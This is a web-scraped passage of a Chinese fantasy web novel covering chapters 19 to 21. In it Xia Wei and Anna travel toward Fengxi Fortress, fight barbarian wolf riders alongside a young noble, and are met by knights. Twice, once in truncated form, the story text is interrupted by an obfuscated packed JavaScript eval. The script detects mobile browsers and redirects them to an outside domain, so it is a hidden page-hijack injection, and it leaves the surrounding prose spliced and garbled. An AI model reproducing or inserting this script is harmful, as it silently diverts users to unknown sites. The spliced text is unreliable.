飞马展开双翼，撒开四蹄，速度快如闪电。 车辆一度被带离地面，车轮悬空，轻松越过湍急的水流，未受到半点阻碍。 暴雨未能减慢车队的速度，反而促使行速加快。 夏维和安娜逐渐被甩开，不能御剑追逐，只能看着队伍渐行渐远，彻底消失在视野之外。 雷声轰鸣，狂风呼啸，暴雨倾盆。 孤独地站在天地间，似被所有神明厌弃，仅存的侥幸也消失殆尽。 人在无语时，当真会莫名发笑。 夏维抓住滑倒的安娜，单手抹去脸上的雨水，突然发出一声轻笑。 “夏维？”安娜不明所以，吃惊地看向他。 或许是脑补了什么惊人的东西，她匆忙拉住夏维的胳膊，主动抓着他向前走，寻找躲雨的地方。口中不忘安慰：“别灰心，相信我，人不会一直倒霉。霉运和好运总是交替出现的，千万别放弃……” 雨水遮挡视线，道路泥泞湿滑。 鞋底沾满了泥巴，越来越沉，每一步都在向下陷。 安娜有些丧气，但她不能表现出来。 刚刚一瞬间，她回忆起初见夏维时的情形，漂亮的黑发少年，浑身是血的倒在路旁。 他睁开眼睛时，眼底没有一点光亮。 空洞，麻木，死寂。 简直像一具人偶。 不，不能再想了。 安娜用力摇头，压下脑海中的画面。 她强迫自己振作起来，不然地话，她害怕自己会哭出来。 突然，她牵着的手不再动，尝试用力，仍就一动不动。 “夏维？” 安娜疑惑地转过头，下一刻，她突然身体悬空，被夏维横抱起来。 “别哭，安娜。”夏维抱着安娜踏上飞剑，低空掠过泥泞不堪的地面。他的灵力有限，无法追上前方的车队，好歹能用来行路，给少女提供庇护。 安娜窝在夏维怀中，短暂僵硬之后，哽咽一声，用力环抱住他的脖子。 “就这一次，我发誓。”她的声音有些闷，带着哭腔。 困境锤炼心性，温柔却带来崩溃。 她失去亲人，远离家园，遭遇不曾想过的磨难。 她发誓追随夏维，决心血债血偿。 她强迫自己坚强起来，但她终究只有十几岁，还是个村民眼中的孩子。 感受到脖颈间的湿意，夏维没有出声。他收紧手臂，沉默地抱紧安娜。 飞剑带着两人穿过雨幕，撕开烟灰色的天地。 马蹄印和车辙没有完全消失，两人一路追过去，仍能抵达风息堡，只是时间会慢上许多。 只要达成结果，过程如何，夏维并不在乎。 森林无边无尽，贯穿狂风领边境。 广阔的边境线上，座落着不同规模的村庄、小镇和马场，全部围绕风息堡而建，构筑起军事、政治和商业并行的古老要塞。 暴雨持续数个小时，临近傍晚，雨水告一段落，乌云散去，天空终于放晴。 道路依旧泥泞，路两旁的景色变得不同。 高大的树木、茂密的灌木尽数消失，被规划整齐麦田取代。 和石崖领一样，狂风领的主要农作物是大麦。 秋季末尾，麦田完成收割，光秃秃的麦秆矗立在田地中，如同一排排卫士，在被焚烧前站好最后一班岗。 麦田出现，意味着附近有村庄。 尚未看到建筑，田埂上先一步传来犬吠。 几条赤尾犬在泥地上追逐嬉戏，踏过尚未晒干的泥坑时，身上飞溅泥点，鼻子和爪子都变了颜色。 这一幕无比熟悉。 那是两人生活在翡翠峡谷时，宁静未被打破的日子。 安娜有瞬间失神，其后晃晃脑袋，双手用力拍打脸颊。 看到她的变化，夏维正打算开口，就见少女展开羊皮纸，利落地抽出两卷织物，展开对比之后，将一片盖在夏维头上。 “安娜？”夏维拎起织物一角，认出布料取自城堡窗帘，疑惑地看向少女，“这是做什么？” “你的头发和眼睛太特殊了，必须遮一下。”安娜解释道。 少女又拿出针线盒，利落地穿针引线，迅速缝出一件短斗篷。 时间有限，针脚略微粗糙，好在成品像模像样。 兜帽遮住夏维的头发和眼睛，下摆垂过他的腰间。没有相称的钮扣，安娜只能用挂钩替代。 “很好！” 安娜打量一番，调整过斗篷的长度，对自己的手艺很满意。 犬吠声越来越近，分明是发现陌生人，在向村子里示警。 少女展开另一块布料，迅速缝了几针，严严实实地遮挡在自己身上。 这一回，两人的头脸都被盖住。 布料曾被雨水打湿，染色斑驳，早不复曾经的华贵。正好契合他们的身份，旅行者。 “按照我们之前说的，你是剑士，我们在游历途中。”安娜低声说道。 她曾在镇子上见过流浪诗人，游历的剑士，还有各种奇奇怪怪的旅行者。 一般而言，只要不给当地带来危害，不会有人刨根问底。 “好。”夏维点点头，反手握住安娜的手腕，示意她镇定下来，“一切有我。” 犬吠声传出不久，数道人影出现在田埂上。 他们高矮不同，无一例外壮硕结实，手中拿着草叉和镰刀，对外来者十分警惕。 狂风领和石崖领比邻，边境线上摩擦不断，近年来冲突不断升级，形势愈演愈烈。 石崖领被雇佣兵袭击，村庄和马场损失惨重。狂风领的日子也未见得好过，靠近边境的村庄和马场也会受到侵扰，遭遇对方报复。 基于之前的经验，突然有陌生人在村庄附近出现，村民们立刻警觉起来。 众人带着武器出现，发现来者只有两人时，紧张的气氛略微放松，只是警惕依旧。 “你们是谁，来这里做什么？”一名村民开口。 他身材高大，胳膊和大腿尤其粗壮。方形下巴长满胡须，说话瓮声瓮气，活似一头黑熊。 “我们是旅行者，途中路过这里，希望能买一些食物，有代步的牲口更好。”依照和安娜商量的计划，夏维开门见山，直接提出和村民交易。 “旅行者？”村民仍有疑虑，打量着对面两人，目光中充满怀疑，“你们是从边境过来？看样子，你们不是狂风领的人。” 夏维没有否认，点头道：“我是一名剑士，她是我的妹妹。我们计划去风息堡，在穿过森林时遇到了蛮族。” 这番话真假掺杂，留有余白，足够村民们自行发挥想象力。 一对游历的兄妹，打算前往风息堡，途中遭遇蛮族，经历过什么可想而知。 难怪自称剑士却没有武器和铠甲，也没有马匹，鞋子破破烂烂，样子十足狼狈。 “那你们还算走运。” 村民们恍然大悟，对两人面露同情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“每年这个时候，都会有大商队到来。如果你们去得快，正好赶上热闹的集市。”一名村人说道，“狂风领的雄鹰，艾尔扬大人也会露面。” 几人说话时，巴洛已经牵过矮马，把缰绳递给夏维：“如果运气好，能见到艾尔扬大人，得到大人的赏识，你和你的妹妹就不必再四处流浪。” 他伸出手，拍了拍夏维的肩膀。 夏维朝他颔首，动作间，兜帽被风意外掀起，黑色的眼睛一闪而过，很快又被遮挡。 巴洛却看得呆住，直至两人上马，背影逐渐远去，他仍站在原地，迟迟没有收回目光。 “巴洛，你怎么了？”身边的人看得奇怪，按住他的肩膀，“你在看什么，竟然呆住了。” 巴洛回过神来，面对众人疑惑的表情，嘴巴开合数次，不知该说些什么。 估计他说了，别人也不会相信。 “没什么。”他摆摆手，催促村民们返回村子，“回去吧，别在这里站着。” 众人觉得他行为古怪，却也没放在心上。陆续转身返回村庄，商量这笔意外之财该如何分配。 “多出这些银子，我们也能去一趟集市。” “听说今年来的是飞马商队。” “肯定有许多奇珍异宝，那些蛮族也会来。” “货物价格会更高。” “看看也能过瘾。” 相比众人的兴高采烈，巴洛显得格外沉默。 他走在人群最后，忍不住驻足回望，回想那张令人惊艳的面孔，或许，他真是做了一场梦。 别想了。 巴洛摇摇头。 那样的美人注定不是他该想的。 说服自己，巴洛收回视线，转身加快脚步，追上了村民的队伍。 19.第十九章 有了代步工具，即使只是一匹矮马，赶路也变得轻松许多。 村民没有提供马具，夏维向安娜要来两块布料，折叠起来垫在马背上，又从路边拽了几株干草，熟练地编成绳子，下方缠绕一只圆环，方便两人上下马。 过程中，安娜看得目不转睛，频频赞叹夏维的手艺。 “这种打结方式我从没见过，真漂亮，可以用在腰带和发带上。它是来自你的家乡吗？”她问道。 “算是吧。”夏维模糊应道，拽了拽绳子，确认坚韧度足够，率先登上马背，随后朝安娜伸出手，“抓住我。” 安娜丢掉多余的干草，握住夏维的手，被他轻松带上马背。 她坐在夏维身后，双手环住他的腰，下意识收了收胳膊：“夏维，你的腰……” 猜测到安娜想说什么，夏维提前打断她：“住口，什么也别说。” 安娜老实闭上嘴。 眼珠子转了转，不能说，想总可以吧？ 夏维仿佛脑后长了眼睛：“想也不行。” “……好吧。”安娜只能放空大脑，靠在夏维背上，长时间一言不发。 雨水刚过，道路上依旧淤积湿泥。 马蹄踏过时，留下杂乱的印记，还有叠加的车辙印，每一道都很深，凹陷处积满浑浊的泥水。 这为夏维和安娜指明方向。 加上村民指路，两人正确找准方位，朝着风息堡的方向一路前行。 矮马性格温驯，耐力惊人，无法作为战马，代步和拉车都颇具优势。背负两人不仅走得极稳，而且能保持不慢的速度。 途中经过一条小河，两人停下歇息，分食面包和熏鱼。矮马则被牵到河边，啃食尚未枯黄的青草。 河水碧绿，鱼群逆流而上，脊背划开水面，荡起层层波纹。 河流两旁散落多座村庄，还有零星马场，里面饲养骑士的战马，由专人喂养，还有村民日夜巡逻。 夏维和安娜一路走来，不可避免遇到更多生面孔。 为减少麻烦，两人又穿起斗篷，兜帽遮挡得严严实实，只露出一个下巴。 大概是见多旅行者，加上近期常有商队往来，只要不靠近村庄，没人会上前盘问他们。 在河边饮马时，安娜还凑近打水洗衣的村民，借机听到不少八卦。 更巧合的是，他们遇到了另外几名旅行者，两名中年人，一名青年，还有几个身材魁梧，疑似有巨人血统的仆人。 和两人编造的身份不同，队伍中的青年的确是一名贵族。 他是家族中的次子，父亲去世后，兄长继承绝大多数财产，他没有分到更多金币，也没有一块土地，不甘心依附兄弟，索性带着忠仆前来风息堡，投靠血缘意义上的表亲。 两名中年人是他护卫，气质沉稳，时刻观察四周，样子十分警惕。 几名仆人高大笨拙，脸型方正，嘴巴前凸，不能以好看难看评价，只能说样子是个人。 双方在河边相遇，彼此都没搭话的意图。 夏维沉默地饮马，吃完手中的面包，拍掉鱼骨残渣，示意安娜先上马。 他牵着矮马离开水边，走出一段距离才跃上马背，握紧缰绳，告知安娜接下来的计划。 “我计划连夜赶路，尽快抵达风息堡，找到那支商队。”他说道。 “我听你的。”安娜拉起兜帽，靠在夏维背上，“中途换我，我先睡一会。” “好。” 夏维没有坚持，脚跟轻磕，单手一挥缰绳，哒哒的马蹄声骤然加快，隐匿在夜色之下。 两人离开后，一名中年人靠近年轻贵族，低声道：“少爷，那两个人，尤其是那个少年，身上有很浓的血腥气。” 年轻贵族捧起水泼在脸上，随意甩了甩浸湿的头发，将额发拨向脑后，现出一张俊俏无比却略显轻浮的面容：“柯蒙，这里是边境要塞，出现什么人都不奇怪。” “可是……” “只要对我们没有敌意，就不必去关注和打扰他们。这不是在父亲的领地，哦，对了，那块土地现在属于我的哥哥。”卡列尔朝仆人招手，命令他们灌满水囊，抱怨道，“我的哥哥已经够让我头疼，在见到艾尔扬大人之前，我不想再有更多烦心事。” 两个旅人罢了，没什么独特之处，卡列尔压根不关心。 当然，如果是美人，那就另当别论。 清楚卡列尔的作风，两名中年人对视一眼，放弃之前的念头，不再提多余的事情。 他们应该清醒一点，老爷去世之后，他们就卸下骑士的责任，唯一的任务是护卫小少爷。 他们不再是老爷麾下的士兵，一些想法的确需要改变。 “明白了？”看清中年人的神情变化，卡列尔咧嘴一笑，转身回到马前，利落地跃身上马。 仆人紧跟在他身后，背着他部分家当，包括一套蓝钢铠甲，一把重剑，一张圆盾，以及一杆长矛。 钱袋由卡列尔自己携带，其余物品挂在两个中年人的马背上。 “走。” 卡列尔下达命令，一行人离开河边，沿着计划好的路线，朝风息堡飞驰而去。 前方道路上，夏维和安娜的身影再次出现。 矮马的速度终究比不过高头大马，卡列尔一路疾驰，中年护卫紧随其后，仆人迈开大脚，跑起来的速度不亚于马匹。 眼见被后来者超越，夏维果断拉紧缰绳，矮马避让至一旁。 安娜提起兜帽边缘，看着一行人疾驰而过，不由得皱了皱鼻子：“贵族少爷。” 她声音很轻，自然不会被听到。 倒是双方擦身而过时，战马掀起的风吹动夏维的兜帽，被他单手按住，仍有几缕黑发滑出边缘，被卡列尔的目光捕捉到。 黑发？ 扬鞭的手一顿，卡列尔不由得生出好奇心。 不等他减速调头，狼嚎声骤然响起。 尖锐的嚎叫声此起彼伏，回荡在旷野中，弥漫开血腥和恐怖的气息。 此处和城堡有一定距离，也远离村庄，称得上渺无人烟。道路两旁长满高草，恰好方便掠食者躲藏。 “是狼群。” “不，不是野狼。” 马匹同时停住，中年护卫在马上转头，脸色异常凝重。 一人推开遮挡右眼的眼罩，现出一只灰白色的眼球。 眼球转动，惊悚且诡异。 他锁定叫声传来的方向，窥破驱使狼群的暗影：“是蛮族。” 狼嚎声越来越近，似尖刀划过众人的耳骨。 夜风刮过，高草丛波浪状起伏，草杆大片被压倒。 黑暗笼罩大地，幽绿光芒频繁闪烁，一匹又一匹丛林狼在草丛中现身。 它们体格健硕，胸脯厚实，脚掌尤其宽大。锋利的牙齿闪烁寒光，样子凶恶，堪比大群灰色的熊。 狼背上是手持弯刀和弓箭的蛮族战士。 金棕色的皮肤，五官轮廓深刻，无论男女都高大健硕，短发 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没有任何言语，蛮族战士直接发起进攻。 他们是来抢劫的，行径一点也不光明磊落，若是被巡逻骑士发现，肯定没有好果子吃。 所以，必须速战速决。 抢劫，杀人，毁尸灭迹。 类似的事情，他们干了无数次，这一次，不过是重复相同的流程，不会有任何差错。 然而，差错偏偏发生了。 狼群冲上来时，卡列尔和护卫同时爆发，护卫身形暴长，体表覆盖硬毛，俨然是第二层盔甲。 卡列尔仓促放出一只信鸟，雀鸟高飞之际，脸庞和手臂覆盖青色鳞片，口中发出嘶嘶声，仿佛变成蛇类。 “半兽人。”蛮族认出他们的身份，感到事情棘手。 “不能放走他们。” “冲上去，杀光他们！” 体型巨大的仆人发出怒吼，大脚踏过地面，赤手空拳迎战蛮族。 他们力量大得惊人，竟能直接扛起丛林狼，连同狼背上的蛮族一起高举过头，狠狠砸向地面。 砰！ 巨响声中，蛮族横飞出去，落地后骨头碎裂，沦为一滩烂泥。 抢劫者和被抢的目标人数悬殊，打起来却势均力敌。 趁场面混乱，缠斗双方自顾不暇，夏维有意带着安娜突破包围圈。 几名蛮族发现了他，纷纷搭弓射箭。 夏维和安娜惊险避开，矮马却被射中，嘶鸣一声倒在地上，再也爬不起来。 眼见避无可避，夏维将安娜拽到身后，一把长剑滑入掌心。 白光浮动，十字剑光飞出，几名冲上来的蛮族集体定在原地，惊骇凝固在脸上，体表浮出血线，身体当场崩碎。 血雨飞溅，蛮族战士和坐骑一同倒地，残骸四分五裂。 皓月当空，清冷的月辉洒落大地，粘稠的血都覆上一层银色。 后方的蛮族同时停住，握住弯刀的手收紧，一时间不敢继续冲上前。 他们习惯拼杀，也见多死亡，但是，眼前这一幕仍震颤他们的神经。 一剑毙命，死无全尸。 如果不是亲眼所见，实在难以置信，杀死他们的竟是眼前这个看似瘦弱的少年！ 20.第二十章 夏维仗剑而立，将安娜牢牢护在身后。 矮马倒在两人脚下，身体上插着数支利箭，鲜血流淌在身下，四肢变得僵硬，无神的眼睛覆上白色阴翳。 蛮族和丛林狼的尸体散落四周，凌乱地堆叠在一起，死状无比惨烈。 血腥味弥漫在空气中，夜风刮过，气味依旧浓烈到令人窒息。 以夏维为中心，战场上出现一片真空。 目睹同族的惨状，骁勇好斗的蛮族战士也变得踟蹰不前。 没人不怕死。 尤其是死成这般凄惨模样。 骨头碎裂，四肢不全，身首分离。比起死亡，更像是在死前遭受一场酷刑，灵魂都被切碎。 咕咚。 几名蛮族因紧张吞咽，被自己的口水呛到，发出一阵咳嗽。 如同撕裂凝滞气氛的讯号，蛮族首领在战场边缘现身。 他骑在头狼背上，相比部落成员，身材更为雄壮。头顶毛发不生，用涂料刺出诡异的图案。脸庞、脖颈、肩膀和胸膛横过粗细不同的伤疤，这是他的荣耀，是属于部落战士的勋章。 视线扫过战场，他对夏维生出忌惮，却没有表现出半分。 他深知胆怯会带来什么。 压下莫名的恐慌，蛮族首领拔出弯刀，雪亮的刀锋划过刀鞘，闪烁慑人的寒光。 他向部落成员下达命令：“拿起刀，杀死他，我的勇士们！” 畏惧不该属于蛮族。 他们是天生的掠食者，生活在丛林中，与野兽为伍。 要么杀死猎物，要么被猎物杀死，生或死，没有第三种选择！ 嗷呜—— 狼群发出嚎叫，战斗再次开启。 蛮族战士分成两批，一批继续围杀卡列尔等人，另一批转向夏维和安娜，谨慎地缩小包围圈，意图凭借数量优势获取胜利。 嗷呜！ 又是一声刺耳的嚎叫，来自蛮族首领的头狼。 这是催促的讯号。 心知无法拖延，蛮族战士们只能咬紧牙关，驱策坐骑前冲，扑向被包围的两人。 “宰了他！” “射箭，瞄准那个女的，分散他的注意力！” “包抄！” 战士们在进攻中吼叫，声音撕开夜风。汹涌的恶意迎面袭来，化作尖利的刀锋。 夏维握住安娜的手，不许她释放血眼。 “听话，安娜。” “可是……” “没有可是！” 话落，夏维单手捏成法诀，虚空中凝出符篆，一枚枚拓印发光，交错缠绕在安娜周身，将她圈在光中。 “那是什么？” “小心！” 箭矢击中光圈，符篆瞬间大亮，燃起黑红色的火焰，隔绝一切攻击。 火光跳跃蹿升，光圈中的少女完好无损，凡是靠近的蛮族，无一例外被飞溅的火星点燃。 “这是什么？！” “救救我！” 火星飞溅到蛮族身上，瞬间燃成火链，燎起晶亮的水泡。 丛林狼的皮毛被点燃，火焰烧穿皮肉，带来一阵焦糊味。狼在地上翻滚，发出痛苦哀嚎，却无法压灭火光。 蛮族战士被迫离开狼背，退出更远距离，眼睁睁看着坐骑被火焰包围，遭遇热浪吞噬，最终尸骨无存，沦为一堆看不出形状的焦炭。 攻击受挫，蛮族心中更生骇然。 夏维的灵力还能支撑，他再次交代安娜留在原地，倒提着长剑飞身而起，似一道黑光，刺入蛮族的队伍之中。 他决心杀出一条路来。 之前不让他走，现在，他索性不走了！ 寒光飙出，十字剑光与弧形剑刃交替出现，蛮族战士拼命格挡，试图还手，往往尚未看清夏维的身形就已经身首分离。 温热的血泼洒在脸上，夏维能感知到灵力在飞速流逝。 淤塞的经脉阵阵刺痛，体表崩出血痕，他却只觉得痛快。 兜帽遮挡下，漆黑的瞳孔浸染猩红，持剑的手覆上红纹，手腕翻转，又一道寒光飞出，对面的蛮族被拦腰斩断，于冲锋途中失去上半身，只余腰部以下随着坐骑一同前冲。 擦身而过时，夏维单手成爪，修长的手指抓住丛林狼的头，指尖扎入狼首，轻松碎裂坚硬的颅骨。 丛林狼发出哀嚎，身体剧烈颤抖，竟然无力挣脱，更无法撕咬。壮硕的身体像是一块破布，软哒哒地摊在地上，在恐惧中堕入死亡。 夏维收回手，展开五指，粘稠的血顺着掌心下滑，浸湿衣袖，蜿蜒过他的手腕。 黑旗在意识海中振动，似感知到他的畅快，迫不及待想要现世，吞噬周遭碎裂的灵魂。 血腥，残酷，暴戾。 恐怖的一幕落入蛮族眼中，他们破天荒生出从战场逃跑的念头。 离开这里，必须逃走！ 那个少年究竟是谁，简直像黑暗神的信徒。 不，黑暗神的信徒也不会如此暴虐！ 他仿佛天生的杀戮者，只为灭绝灵魂而存在。 习惯践踏生命的蛮族战士，这一刻竟小腿打颤，一个个面如土色。若非骑在狼背上，不知多少人会腿软跌倒，当场现出丑态。 狼群也在后撤。 野兽的本能和被烙印的顺从在身体中撕扯。 对危险的感知要求它们离开，蛮族的命令却使它们留在原地。 两股力量互相拖拽，濒临极限。 丛林狼四条腿打颤，对夏维的畏惧占据上风，它们小步后撤，低着头发出不争气的呜咽声，只要有一匹带头，立刻会群体逃跑。 蛮族首领也被震慑。 他远比外表看上去年长，不只会率领部落成员打劫，还曾与要塞骑兵交锋。 多次死里逃生，让他有了最敏锐的直觉。 电光石火间，首领做出决断。 “让开，让他走！” 蛮族首领抬高声音，尽量不露出怯意。 很可惜，这不过是掩耳盗铃。 “我们敬佩强者，强大的剑士，你可以离开，带上你的女人。”他紧盯着夏维，不等对方回答，就命令战士们让开道路。 包围圈敞开，没有人再阻挡夏维。 事实上，也没人能拦得住他。 与此同时，卡列尔等人仍在打生打死，为生存战斗。 蛮族战士打不过夏维，只能被他屠杀，不代表收拾不了这三个半兽人，顺带解决他们的仆人。 差别如此显著，卡列尔很想咆哮。 奈何身体半兽化，声音也趋近蛇类，足够阴冷，却压根无法表达他的愤怒。 “该死的！” “这群该死的蛮族！” 如果他能活过今天，他发誓和丛林蛮族势不两立！ 总有一天，他要宰光他们！ “信鸟为什么还不回来！” 想到之前放出求救的信鸟，卡列尔脸色漆 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不想头狼竟果断倒戈，无视和蛮族的契约，直接把他从背上甩了下去。 庞大如灰熊的体格，一口能咬断夏维的头，此时却低着脑袋，小心翼翼地走到夏维跟前，费力地摇着尾巴，讨好的样子活似一条家犬。 这一幕出乎所有人预料。 蛮族首领颜面扫地，却无法阻挡头狼离去。 部落与狼群存在契约，奈何他主动向夏维让步，头狼顺从他，自然也能顺从夏维。 这是契约的漏洞，他无能为力。 “好，给你。”他说道。 纯粹是在亡羊补牢，维护他岌岌可危的面子。 夏维没有理会他，掌心覆上头狼的脖子，微光浮现，残存的灵力凝出符文，临时契约这头狼。 “安娜，走。” 感知到灵力所剩无几，夏维没有再耽搁。 他面上不动声色，握住安娜的手微微颤抖，掌心一片冰冷。 少女察觉到情况不对，果断登上狼背，不着痕迹拽紧夏维，帮他坐到自己身后。 嗷呜—— 头狼发出嚎叫，狼群纷纷低下头，为它让开道路。 壮硕的丛林狼向前迈步，冲出包围圈边缘，即将撒开腿奔跑。 一道风墙阻挡了它，使它无法再前进半米。 夜风刮过，带来凛冽的森寒。 夜枭的影子在天空盘旋，带回送信的雀鸟。 奔雷声响起，来自风墙背后。 蛮族们预感情况不妙，卡列尔却大喜过望，他恨不能发出欢呼声，发泄绝处逢生的喜悦。 “要塞骑兵，是风息堡的骑兵！” “终于来了！” 蛮族首领心生退意，立刻曲起手指，打出一声响亮唿哨。 他在召集战士们撤离。 可惜还是迟了一步。 破风声骤然袭来，银色的投枪呼啸砸落，贯穿蛮族战士的胸膛，继而穿入丛林狼体内，将战士和狼一起钉在地上。 精准，凶残。 以杀戮和鲜血铸就雕塑。 月光明亮，照亮骑士身上青灰色的铠甲。 为首一人头戴鹰盔，胸甲上的家徽亮出狰狞锋芒，赫然昭示他的身份，风息堡的主人，要塞长官艾尔扬。 21.第二十一章 风声雷动，骑士们踏风而来。 望见月光下的鹰盔，蛮族们骇然失色，立即惊慌四散。 奈何为时已晚。 风墙从天而降，从四面八方投下屏障，牢牢堵住去路。 墙后是恐怖的风刃，一旦撞入其中，势必要粉身碎骨，落得尸骨无存。 蛮族们困在原地，丛林狼陷入暴躁。 他们无处可逃。 夏维和安娜也被堵住，面对挡路的屏障，头狼发出低咆，始终无法再前进一步。 乌云悄然堆积，遮挡住明亮的月光。 至暗时刻降临，来自风息堡的骑士挺起长枪，以枪杆轻击盔甲，雷鸣般的马蹄声骤然消失。 战马踏风而起，背负骑士跨越风墙，袭向惊慌的蛮族。 “不！” 骑士的身影在瞳孔中放大，蛮族们惊慌失措，被死亡的阴影笼罩，近乎无力抵抗。 投枪尾部犹在颤抖，死者的血尚在流淌，锋利的长枪接踵而至，在骑兵纵马穿插时，贯穿一个又一个蛮族战士的胸膛。 裂帛声接连不断，惨叫声此起彼伏。 浓烈的血色被黑暗吞噬。 某一刻云层绽开缝隙，洒落一缕银辉，附着流淌的血，浓烈、粘稠、令人胆寒。 鹰盔反射寒光，艾尔扬抬起右臂，风绕着指间嬉戏，纠缠交错，凝出一枚风旋。 狂风平地而起，以他为中心垂直上升，涡旋状向外扩散。 骑士们不受影响，驾驭着狂风辐射向外，展开又一轮冲杀。 蛮族战士大惊失色，坐骑被狂风掀翻，一个个滚落在地。没等站起身，突然感到脖颈冰凉，视野瞬间抬升。 原来是骑士们改换马刀，在冲锋中夺取首级。 蛮族战士身首分离，头颅向前飞出，身体滑落在地，脖颈处喷出殷红的血线，顷刻染红大地。 粘稠的血在地面流淌，顺着泥道汇成溪流，淤积在浅坑中，被马蹄践踏。 丛林狼发出刺耳的嚎叫。 它们无意为蛮族复仇，果断抛弃地上的尸体，朝着战场外冲去。 “杀光它们。” 艾尔扬倒提着马刀，策马冲向狼群。 沿途收割残存的蛮族战士，下手毫不留情。 战马飞驰而过，马蹄踏出倒悬的血雨。骑士们横冲直撞，不放过任何漏网之鱼。 卡列尔和护卫抓住机会，追随骑士冲锋，展开一场复仇。 三人下手格外狠辣，凡是被咬住的蛮族，全都被乱刀砍杀，当场死无全尸。 一面倒的碾压和屠杀，结局早就注定。 乌云散去，月光再度笼罩大地。 几名骑士放出雀鸟，银白色的小鸟振翅升空，盘旋在众人头顶。白色羽毛浮动光辉，如同星辰，照耀战场中心。 包括部落首领在内，近百名蛮族战士命丧当场。尸体大多残缺不全，被坐骑压住，陷入泥地中。 清冷的月光拂过，尸体表面泛起一层青灰色，多数双眼大睁，样子分外可怖。 战斗结束后，散开的骑士重新聚拢，陆续策马返回。 一部分人下马清理战场，刀锋向下，确保不留一个活口。 卡列尔满身血污，头发散落着，样子格外狼狈，不复平日里的风流倜傥。 他勒住缰绳，反手将长矛插在地上。试图抹去脸上的血，发现血已经凝固，需要用些力气，剥落的全是干结的碎块。 两名护卫始终追随他，片刻不曾远离。 一人胳膊受伤，骨头断裂，正用布条缠裹，利落地吊到肩膀上；另一人被箭射中，自行掰断箭杆，挖出箭头，咬开药瓶的瓶塞，将药粉倒在伤口上。 药粉的效果极好，却会带来剧痛。 护卫柯蒙脸颊颤抖，灰白色的眼球转动，硬是没发出一点声音。 战场另一面，艾尔扬收回雀鸟，吩咐骑士几句，便策马走向卡列尔。 战马来到近前，他单手拉住缰绳，利落地推起面罩。俊雅的面孔上扬起笑容，气质温文尔雅，同身后的血腥格格不入，形成鲜明对比。 “卡列尔，你比预期中来得更快。”他的声音低沉轻柔，说出关怀的话语，令人如沐春风，“蛮族总是不知教训，造成许多麻烦。希望我来得及时，你没受伤吧？” “艾尔扬大人，向您问候。您能亲自前来，我万分感激。一群野兽无法夺走我的生命，我一切都好。”卡列尔迅速收起武器，弯腰向对方行礼。他尽量表现得体，还特地整理过仪表，丝毫看不出平日里散漫的模样。 “你是我的表亲，不必如此拘谨。”艾尔扬翻身下马，戴着护套的大手握拳，轻击卡列尔的肩膀，“上次见面时，你坚持和我比拼剑术，我记得你的身手相当不错。” 卡列尔满脸通红，双眼发亮：“您还记得，这是我的荣幸！” 有真心实意，也存在演戏的成分，他在艾尔扬的夸奖中低头，像是在全力抑制住激动，尽量让自己不失体面。 父亲活着时，他是尊贵的领主家少爷，可以肆意妄为。 如今时移世易，父亲去世，领地由兄长继承，他失去一切特权，像所有贵族的小儿子一样，只能自己讨生活。 艾尔扬提起旧事，他更应该谨慎。 毕竟，他今后要在风息堡生存，期望对方能给自己一份体面的差事。 两人说话时，卡列尔的护卫处理完伤势，沉默的守在一旁。 艾尔扬注意到他们，视线望过来，轻描淡写的态度，两人仍感受到压力，立即弯腰行礼。 几个仆人背着卡列尔的财产，高大的身躯躬向地面。 他们在战斗中受伤，一人的小腿被丛林狼咬穿，伤口已经停止流血，边缘仍泛着青紫。 “我记得你能读写。”艾尔扬收回视线，拍拍卡列尔的肩膀，思考城堡中空缺的职位，“方托学士有意招收学徒，如果你愿意的话，可以跟随他学习，帮他整理文书，日后接替他的某个职位。” “我愿意！”卡列尔立刻接话，没有片刻犹豫。 手下识字率不高，一直是艾尔扬的心病。 之所以接受卡列尔，给他优待和学习条件，除了血缘关系之外，主要是因为他能读书写字。 卡列尔对艾尔扬的安排十分满意。 他身后的中年人对视一眼，则有些忧心忡忡。 据他们所知，方托学士知识渊博，因优秀的能力被艾尔扬家族招揽，连国王都听过他的大名。 能跟随他学习，成为名正言顺的学徒，是多少人梦寐以求的机会。 卡列尔少爷的确能读写，但就识字数量而言，实在有些拿不出手。而且他不擅长算数，两位数以内的加减都可能出错。 想到方托学士身上的威名，两人同时心头一紧，都感到眼前一黑。 希望神明降下福祉，少爷能突然开窍。 若不能全心全意学习，中途露怯，他一定会被艾尔扬大人赶走。 届时，他们就真的失去庇护，只能跟着少爷四海为家，到处流浪。 说起流浪，两人心头一紧，想起给予他们震撼的少年。 卡列尔和他们心思一样，走近艾尔扬，手指夏维和安娜站立的方向，正色说道：“大人，那名少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170643|179159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年有不凡的剑术。在您到来前，一人斩杀多名蛮族。” 骑士们清理完战场，一人策马归来，递给艾尔扬一把弯刀。 这把刀来自蛮族首领，他的坐骑已经归属夏维。 “大人，头狼在那。”骑士手指不远处，夏维和安娜站在一起，头狼守护在两人身侧，正呲牙发出威胁。 在艾尔扬刚刚抵达时，夏维本想带着安娜趁乱溜走。 奈何运气不佳，风墙挡住去路，还有蛮族慌不择路，把骑士引了过来。 幸运的是，骑士没有朝两人挥刀，他们不被视作蛮族的同伙；不幸的是，四周被风旋和骑兵堵住，夏维灵力耗尽，他们只能留在原地，离开成为奢望。 “大人，那两人自称是旅行者，之前遭遇蛮族拦截，意外被卷入战斗。”骑士简单说明情况。 在向艾尔扬报告前，他已经询问过两人。就身份而言，两人的话还算可信。 艾尔扬顺着骑士手指的方向看去，望见披着短斗篷的两人，一高一矮，从身形判断应该还很年少。 他的视线掠过安娜，在夏维身上短暂停留。 旅行者，剑士。 未免过于纤细。 